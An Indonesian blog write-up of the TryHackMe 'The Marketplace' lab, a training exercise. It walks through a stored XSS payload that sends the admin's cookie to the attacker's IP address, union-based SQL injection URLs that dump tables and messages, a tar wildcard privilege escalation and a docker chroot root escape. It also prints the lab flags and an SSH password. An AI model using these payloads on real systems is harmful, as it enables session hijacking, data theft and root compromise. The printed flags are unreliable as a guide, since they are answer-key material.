TryHackme – The Marketplace Writeup

image 39 CyberDesu

The sysadmin of The Marketplace, Michael, has given you access to an internal server of his, so you can pentest the marketplace platform he and his team has been working on. He said it still has a few bugs he and his team need to iron out.

Can you take advantage of this and will you be able to gain root access on his server?

jadi di labs Tryhackme ini tuh memiliki tingkatan Medium, dan dilihat dari tags nya yaitu, web,xss,docker,sqli yg merupakan clue untuk menyelesaikan labs kali ini yaitu jenis bug yg ada di labs kali ini. dan juga kita wajib mendapatkan 3 flags agar bisa menyelesaikan labs nya

ok labs sudah jalan dan kita sudah tahu ip address dari target nya

image 40 CyberDesu

langkah awal yaitu kita cek dulu port apa saja yg terbuka di mesin tersebut menggunakan nmap

nmap -A 10.10.70.229

hasilnya bisa dilihat bahw aada 3 port yg aktif yaitu ssh di port 22, lalu 2 buah port http yg aktif yaitu di port 80 dan 32768 dan jika perhatikan di http-title nya sih kek nya sama isi dari website. lalu ada http http-robots.txt juga yg berisi endpoint /admin

image 41 CyberDesu

selanjutya kita coba akses website yg di port 80 dan 32768 yang jika diperhatikan memang tampak mirip sih. jadi mungkin kita bisa fokus ke website yg ada di port 80 terlebih dahulu saja.


kita bisa coba bikin akun terlebih dahulu dengan credentials user:user terlebih dahulu

image 44 CyberDesu

setelah selesei signup. kita bisa coba login terlebih dahulu dengan credential yg telah dibuat tadi

setelah login. bisa kita lihat ada 2 fitur yg bisa digunakan yaitu New Listing dan Messages

image 46 CyberDesu

kita coba cek dulu New Listing dan message nya. untuk new listing tuh kemungkinan kita bisa nambah barang yg akan dijual, lalu ditampilkan ke halaman utama website nya, sedangkan untuk message tuh saya blom tahu karena tampilan nya masih kosong, jadi kita coba explore new listing terlebih dahulu


kalau kita lihat fitur yg di New Listing, ada 2 form dan 1 fitur file upload yg sayangnya tidak aktif, pdhl kalau aktif tuh kita bisa coba reverse shell pake bug insecure file upload. kita coba tambahkan payload xss di form title untuk mengecek apakah xss nya berhasil di eksekusi atau engga
berikut kode yg akan digunakan:

<script>alert(1)</script>

maka hasilnya akan seperti ini

image 49 CyberDesu

selanjutya kita coba klik tombol Submit Query dan lihat hasilnya yg akan menampilkan pop up dengan angka 1, yg artinya kode javascript tadi sudah berhasil di eksekusi

image 50 CyberDesu

pada saat di klik OK yg di pop tadi. kita diarahkan ke barang yg tadi kita buat. dan ada 2 pilihan yaitu Contact the listing author dan Report listing to admins, yg pasti berhubungan dengan menu Messages tadi. untuk pilihan pertama sih udh ketebak kalau kita tuh mau kirim pesan ke si pemilik barang tadi yaitu kita sendiri, jadi saya skip untuk pilihan pertama. nah untuk pilihan ke dua ini tuh kita bkln ngelaporin barang yg kita buat tadi ke admin.

image 51 CyberDesu

nah jadi pada saat saya klik. maka akan tampil notifikasi yg intinya tuh sang admin bkln ngecek produk yg kita bikin tadi. nah karena kita tahu bahwa sang admin bkln ngecek barang yg di report tadi. kita bisa ambil cookie admin nya dengan memanfaatkan bug xss tadi

image 52 CyberDesu

kita coba cek menu Messages, dan kita lihat ada message baru yg berasal dari system, intinya karyawan disana tidak bisa melukan review terhadap produk yg kita report tadi karena adanya pop up alert tadi, karena browser yg mereka gunakan tuh otomatis ngeblokir pop up.

image 53 CyberDesu

nah karena pop up tuh tidak diperbolehkan. kita coba kasih payload yg tidak ada pop up sama sekali dan akan langsung mengambil cookie admin nya lalu mengirim cookie tersebut ke server kita. berikut kode yg akan digunakan:

<script>var i=new Image;i.src="http://10.14.56.180:80/?"+document.cookie;</script>

jgn lupa aktifkan http server nya menggunakan python

image 54 CyberDesu

selanjutnya kita ke menu new listing tadi. dan masukan payload yg telah dibuat ke form Title lalu klik Tombol Submit Query

image 56 CyberDesu

jika kita lihat di http server yg telah dibuat tadi. maka ada request baru. yg menampilkan cookie milik kita sendiri, karena kita otomatis diarahkan dan melihat terlebih dahulu produk yg dibuat tadi.

image 57 CyberDesu

karena payload tadi sudah berhasil mendapatkan cookie milik kita sendiri. sudah saatnya kita coba ambil cookie milik admin dengan cara klik fitur Report listing to admins lalu klik Report


hasilnya kita mendapatkan request terbaru yg menandakan bahwa admin nya tuh sudah mengecek produk yg kita buat tadi.

image 60 CyberDesu

selanjutnya kita gunakan cookie dari si admin tadi agar kita bisa login menggunakan akun admin. disini saya pake add ons cookie manager dari firefox agar bisa mengubah cookie yg saat ini digunakan

image 61 CyberDesu

setelah kita refresh website nya. maka kita bisa melihat ada menu baru yaitu administration panel

image 62 CyberDesu

pada saat di klik menu Administration panel, kita sudah mendapatkan flag yg pertama yaitu THM{c37a63895910e478f28669b048c348d5}

note: ip mesin nya udh berubah karena tadi ditinggal makan dulu:v

image 63 CyberDesu

ok langkah selanjutnya kita cari bug sql injection nya. awalnya tuh saya kira bug sql nya ada di login page, eh ternyata adanya tuh di administraton panel seperti gambar diatas. jadi saya coba klik user system yg ada di kotak pertama. trus akan di redirect ke http://10.10.20.121/admin?user=1 dan tampilan nya seperti ini

image 64 CyberDesu

nah coba tambahkan kan single quote di parameter user yg di url tadi seperti ini http://10.10.20.121/admin?user=1' maka hasilnya akan menampilkan error dari mysql

image 65 CyberDesu

ok selanjutnya kita akan gunakan query ORDER BY untuk mencari tahu ada berapa kolom dari tabel yg digunakan oleh website nya. untuk penggunaan query ORDER BY nya tuh cukup seperti ini

http://10.10.20.121/admin?user=1 ORDER BY 1
tampilan website nya masih normal

http://10.10.20.121/admin?user=1 ORDER BY 2
tampilan website nya masih normal

http://10.10.20.121/admin?user=1 ORDER BY 3
tampilan website nya masih normal

http://10.10.20.121/admin?user=1 ORDER BY 4
tampilan website nya masih normal

http://10.10.20.121/admin?user=1 ORDER BY 5
tampilan website nya error

nah pada saat pake query ORDER BY 5, tampilan website nya error dikarenakana column ke 5 itu gada. itu berarti kolom nya tuh sebenenya berjumlah 4

image 66 CyberDesu

karena kita udh tahu jumlah kolom yg ada tuh ada 4. kita lanjut untuk mencari kolom yg akan di render di sisi front end nya, biasanya saya sebut itu magic number. nah kita bisa gunakan query UNION SELECT untuk mencari magic number nya.

ubah url nya jadi seperti ini
http://10.10.20.121/admin?user=1 UNION SELECT 1,2,3,4

nah harusnya tuh dari kolom 1-4 yg saya isi dengan angka 1,2,3,4 bkln ke render di sisi front end nya. tapi anehnya tuh malah gk render dan website nya normal2 aja kayak gini

image 67 CyberDesu

nah awalnya tuh saya mau pake metode blind sql injection dikarenakan tidak ada magic number yg ke render di sisi front end. tetapi saya tidak jadi pake blind sql injection karena magic number nya sudah ke render di sisi front end pas saya ubah value parameter user nya yg awalnya 1 menjadi 5, karena total id nya tuh di administration panel cuman ada 4 aja.

image 68 CyberDesu

ok jadi kolom 2 tuh yg akan di render di sisi front end, sekarang kita bisa masukan perintah sql di dalam kolom 2 pake union select. contoh nya saya pengen user mysql yg digunakan saat ini, berarti saya ubah url nya jadi seperti ini

http://10.10.20.121/admin?user=5 UNION SELECT 1,user(),3,4

maka hasilnya yaitu user mysql yg digunakan saat ini tuh marketplace

image 69 CyberDesu

nah awalnya tuh saya mau coba eskalasi ke RCE dengan cara memanggil function child_process karena back end yg digunakan tuh express js. tetapi user sql yg kita gunakan saat ini tuh tidak memiliki priveleges untuk melakukan upload file

berikut url yg diubah

http://10.10.20.121/admin?user=5 UNION SELECT 1,"require('child_process').exec('cat+/etc/passwd'),3,4 INTO OUTFILE '/var/www/html/inirce.js'

maka hasilnya akan seperti ini

image 70 CyberDesu

awalnya saya bingung untuk memikirkan cara agar bisa dpt RCE lewat sql injection, soalnya user marketplace tuh gada priveleges buat upload file di sql. trus kalau dptn password dari user lain seperti jake,michael,system di database nya pasti udh di hash. jadi kita coba enumerasi database nya saja, siapa tau ada informasi penting yg tersembunyi

langkah pertama kita cari tahu nama database nya dengan cara memanggil function database(). maka url nya akan seperti ini

http://10.10.20.121/admin?user=5 UNION SELECT 1,database(),3,4

maka hasilnya adalah nama database yg digunakan saat ini yaitu marketplace

image 71 CyberDesu

selanjutnya kita coba cari tahu table apa saja yg ada di dalam database marketplace, kita bisa memanfaatkan INFORMATION SCHEMA, jadi Information Schema adalah sebuah basis data khusus yang disediakan oleh MySQL yang berisi metadata tentang semua objek yang ada dalam sistem basis data. Informasi yang terkandung dalam Information Schema mencakup informasi tentang basis data, tabel, kolom, indeks, constraint, rutin, priviledge pengguna, dan banyak lagi. untuk url nya akan diubah seperti ini:

http://10.10.20.121/admin?user=5 UNION SELECT 1,TABLE_NAME,3,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='marketplace'

maka hasilnya akan seperti di gambar ini. tetapi ini diluar ekspetasi saya karena yg di render tuh cuman 1 tabel saja:(

image 72 CyberDesu

kita udh tahu nih tables yg pertama tuh isinya items, trus untuk melihat tables yg lain nya tuh kita bisa memanfaatkan query LIMIT, jadi nya kalau mau lihat table yg pertama tuh bisa kayak gini LIMIT 0,1
Angka 0 menunjukkan offset, yaitu jumlah tabel yang akan dilewati sebelum mendapatkan tabel ke-1. Angka 1 menunjukkan batasan, yaitu jumlah tabel yang akan ditampilkan (hanya satu tabel dalam kasus ini).
jadi untuk melihat table yg kedua bisa kayak gini LIMIT 1,1 dan untuk table selanjutnya juga sama, tinggal ubah angka offset nya saja
berikut url yg diubah:

http://10.10.20.121/admin?user=5 UNION SELECT 1,TABLE_NAME,3,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='marketplace' LIMIT 0, 1
nama tables : items

http://10.10.20.121/admin?user=5 UNION SELECT 1,TABLE_NAME,3,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='marketplace' LIMIT 1, 1
nama tables: messages

http://10.10.20.121/admin?user=5 UNION SELECT 1,TABLE_NAME,3,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='marketplace' LIMIT 2, 1
nama tables: users

http://10.10.20.121/admin?user=5 UNION SELECT 1,TABLE_NAME,3,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='marketplace' LIMIT 3, 1
error

ok kita udh tahu nih ada 3 table yg di database marketplace, selanjutnya kita cari tahu semua columns yg ada di semua tables tadi agar kita bisa melakukan dump data nya. cara nya masih sama yaitu pake INFORMATION_SCHEMA bedanya tuh kalau mau nyari table kan pake INFORMATION_SCHEMA.TABLES sedangkan kalau mau nyari column tuh pake INFORMATION_SCHEMA.COLUMNS

mungkin saya akan kasih contoh untuk melihat columns yg dimiliki dari tables items. berikut url yg diubah

http://10.10.20.121/admin?user=5 UNION SELECT 1,COLUMN_NAME,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='items' LIMIT 0, 1
nama columns dari table items: id

http://10.10.20.121/admin?user=5 UNION SELECT 1,COLUMN_NAME,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='items' LIMIT 1, 1
nama columns dari table items: author

http://10.10.20.121/admin?user=5 UNION SELECT 1,COLUMN_NAME,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='items' LIMIT 2, 1
nama columns dari table items: title

http://10.10.20.121/admin?user=5 UNION SELECT 1,COLUMN_NAME,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='items' LIMIT 3, 1
nama columns dari table items: description

http://10.10.20.121/admin?user=5 UNION SELECT 1,COLUMN_NAME,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='items' LIMIT 4, 1
nama columns dari table items: image

http://10.10.20.121/admin?user=5 UNION SELECT 1,COLUMN_NAME,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='items' LIMIT 5, 1
Website error

ok jadi hasil enumerasi semua column dan table dari database marketplace tuh bisa dilihat dibawah sini

------------
items
------------
id
author
title
description
image

-------------
message
-------------
id
user_from
user_to
message_content 
is_read


--------------
users
--------------
id
username
password
isAdministrator

karena kita sudah dpt semua informasi yg dibutuhkan seperti nama database,table,columns maka langkah selanjutnya kita coba dump data nya. kita coba lihat isi dari column message_content karena saya saya lebih tertarik dengan isi pesan apa saja yg ada di tiap user.

berikut url yg diubah:
http://10.10.20.121/admin?user=5 UNION SELECT 1,message_content,3,4 FROM marketplace.messages LIMIT 0,1

hasilnya yaitu saya dpt informasi terkait password SSH yg baru yaitu @b_ENXkGYUCAv3zJ . nah tapi saya gatau nih username dari password tadi, jadi langkah selanjutnya tuh kita harus cari tahu pesan yg tadi tuh dikirim ke siapa

image 73 CyberDesu

karena saya pengen tahu pesan tadi tuh dikirim ke siapa, maka saya bkln cek column user_to trus pake LIMIT 0,1 untuk melihat ofset yg pertama.

berikut url yg diubah:
http://10.10.20.121/admin?user=5 UNION SELECT 1,user_to,3,4 FROM marketplace.messages LIMIT 0,1

lalu hasilnya menampilkan angka 3 saja. kemungkinan itu adalah ID user nya

image 74 CyberDesu

Jika kita cek ulang Administation panel nya. maka ID user 3 tuh dimiliki oleh jake. jadi kesimpulan nya kita bisa pake credential jake:@b_ENXkGYUCAv3zJ untuk melakukan koneksi ke SSH

image 75 CyberDesu

pada saat dicoba. credential tadi memang valid dan hasilnya saya bisa login ke server nya

image 76 CyberDesu

lalu saya menemukan user.txt yg isinya tuh sudah pasti flag kedua kita yaitu THM{c3648ee7af1369676e3e4b15da6dc0b4}

image 77 CyberDesu

langkah selanjutnya tuh kita cari flag yg terakhir dengan cara privileges escalation lagi. seperti biasa kita coba pake perintah sudo -l untuk melihat perintah apa saja yg bisa digunakan sebagai sudo

dan hasilnya user jake tuh bisa memakai command sudo di /opt/backups/backup.sh

image 78 CyberDesu

pada saat di cek isi dari backup.sh, isinya tuh perintah untuk melakukan backup menggunakan tar dan ada wildcard nya *

image 79 CyberDesu

saya mendapatkan referensi terkait cara memanfaatkan wildcard yaitu dari payloadallthethings jadi untuk langkah2 nya bisa dilihat di gambar ini

image 80 CyberDesu

kita sudah masuk ke akun michael. selanjutnya kita coba eskalasi ke akun root. dan kita juga udh tahu bahwa ada docker di dalam mesin ini, jadi saya coba cek image yg ada di docker nya dengan cara seperti ini

image 81 CyberDesu

karena ada image alpine, jadi saya bisa mengikuti referensi dari GTFObins terkait privelege escalation docker

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

maka hasilnya akan seperti ini

image 82 CyberDesu

dan akhirnya kita mendapatkan flag root.txt di dalam direktori root THM{d4f76179c80c0dcf46e0f8e43c9abd62}

image 83 CyberDesu

Kesimpulan

jadi di labs ini tuh kita belajar cara mendapatkan cookie milik admin dengan memanfaatkan XSS, lalu mendapatkan informasi sensitive dengan sql injection, dan terakhir privelege escalation dengan cara memanfaatkan tar wildcard dan docker

Leave a Reply

Your email address will not be published. Required fields are marked *